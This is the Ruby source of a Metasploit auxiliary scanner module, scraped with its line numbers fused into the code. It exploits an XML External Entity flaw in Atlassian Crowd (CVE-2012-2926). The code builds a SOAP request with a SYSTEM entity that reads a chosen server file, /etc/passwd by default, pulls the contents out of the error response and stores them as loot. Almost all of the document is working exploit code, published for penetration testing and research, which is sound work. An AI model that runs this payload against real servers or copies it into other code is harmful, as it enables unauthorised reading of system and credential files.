Path: blob/master/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Atlassian Crowd XML Entity Expansion Remote File Access',13'Description' => %q{14This module simply attempts to read a remote file from the server using a15vulnerability in the way Atlassian Crowd handles XML files. The vulnerability16occurs while trying to expand external entities with the SYSTEM identifier. This17module has been tested successfully on Linux and Windows installations of Crowd.18},19'References' => [20[ 'CVE', '2012-2926' ],21[ 'OSVDB', '82274' ],22[ 'BID', '53595' ],23[ 'URL', 'https://neg9.org/' ], # General24[ 'URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2012-05-17-283641186.html']25],26'Author' => [27'Will Caput', # Vulnerability discovery and Metasploit module28'Trevor Hartman', # Vulnerability discovery29'Thaddeus Bogner', # Metasploit module30'juan vazquez' # Metasploit module help31],32'License' => MSF_LICENSE33)3435register_options(36[37Opt::RPORT(8095),38OptString.new('TARGETURI', [true, 'Path to Crowd', '/crowd/services']),39OptString.new('RFILE', [true, 'Remote File', '/etc/passwd'])4041]42)4344register_autofilter_ports([ 8095 ])45end4647def run_host(ip)48uri = normalize_uri(target_uri.path)49res = send_request_cgi({50'uri' => uri,51'method' => 'GET'52})5354if not res55print_error("#{rhost}:#{rport} Unable to connect")56return57end5859accessfile(ip)60end6162def accessfile(rhost)63uri = normalize_uri(target_uri.path)64print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface")6566soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'67xmlaut = 'http://authentication.integration.crowd.atlassian.com'68xmlsoap = 'http://soap.integration.crowd.atlassian.com'69entity = Rex::Text.rand_text_alpha(rand(4) + 4)7071data = "<!DOCTYPE foo [<!ENTITY #{entity} SYSTEM \"file://#{datastore['RFILE']}\"> ]>" + "\r\n"72data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:urn="urn:SecurityServer" xmlns:aut="' + xmlaut + '" xmlns:soap="' + xmlsoap + '">' + "\r\n"73data << '<soapenv:Header/>' + "\r\n"74data << '<soapenv:Body>' + "\r\n"75data << '<urn:addAllPrincipals>' + "\r\n"76data << '<urn:in0>' + "\r\n"77data << '<!--Optional:-->' + "\r\n"78data << '<aut:name>?</aut:name>' + "\r\n"79data << '<!--Optional:-->' + "\r\n"80data << '<aut:token>?</aut:token>' + "\r\n"81data << '</urn:in0>' + "\r\n"82data << '<urn:in1>' + "\r\n"83data << '<!--Zero or more repetitions:-->' + "\r\n"84data << '<soap:SOAPPrincipalWithCredential>' + "\r\n"85data << '<!--Optional:-->' + "\r\n"86data << '<soap:passwordCredential>' + "\r\n"87data << '<!--Optional:-->' + "\r\n"88data << '<aut:credential>?</aut:credential>' + "\r\n"89data << '<!--Optional:-->' + "\r\n"90data << '<aut:encryptedCredential>'91data << "?&#{entity};"92data << '</aut:encryptedCredential>' + "\r\n"93data << '</soap:passwordCredential>' + "\r\n"94data << '<!--Optional:-->' + "\r\n"95data << '<soap:principal>' + "\r\n"96data << '<!--Optional:-->' + "\r\n"97data << '<soap:ID>?</soap:ID>' + "\r\n"98data << '<!--Optional:-->' + "\r\n"99data << '<soap:active>?</soap:active>' + "\r\n"100data << '<!--Optional:-->' + "\r\n"101data << '<soap:attributes>' + "\r\n"102data << '<!--Zero or more repetitions:-->' + "\r\n"103data << '<soap:SOAPAttribute>' + "\r\n"104data << '<!--Optional:-->' + "\r\n"105data << '<soap:name>?</soap:name>' + "\r\n"106data << '<!--Optional:-->' + "\r\n"107data << '<soap:values>' + "\r\n"108data << '<!--Zero or more repetitions:-->' + "\r\n"109data << '<urn:string>?</urn:string>' + "\r\n"110data << '</soap:values>' + "\r\n"111data << '</soap:SOAPAttribute>' + "\r\n"112data << '</soap:attributes>' + "\r\n"113114res = send_request_cgi({115'uri' => uri,116'method' => 'POST',117'ctype' => 'text/xml; charset=UTF-8',118'data' => data,119'headers' => {120'SOAPAction' => '""',121}122}, 60)123124if res and res.code == 500125case res.body126when /<faultstring\>Invalid boolean value: \?(.*)<\/faultstring>/m127loot = $1128if not loot or loot.empty?129print_status("#{rhost}#{rport} Retrieved empty file from #{rhost}:#{rport}")130return131end132f = ::File.basename(datastore['RFILE'])133path = store_loot('atlassian.crowd.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])134print_good("#{rhost}:#{rport} Atlassian Crowd - #{datastore['RFILE']} saved in #{path}")135return136end137end138139print_error("#{rhost}#{rport} Failed to retrieve file from #{rhost}:#{rport}")140end141end142143144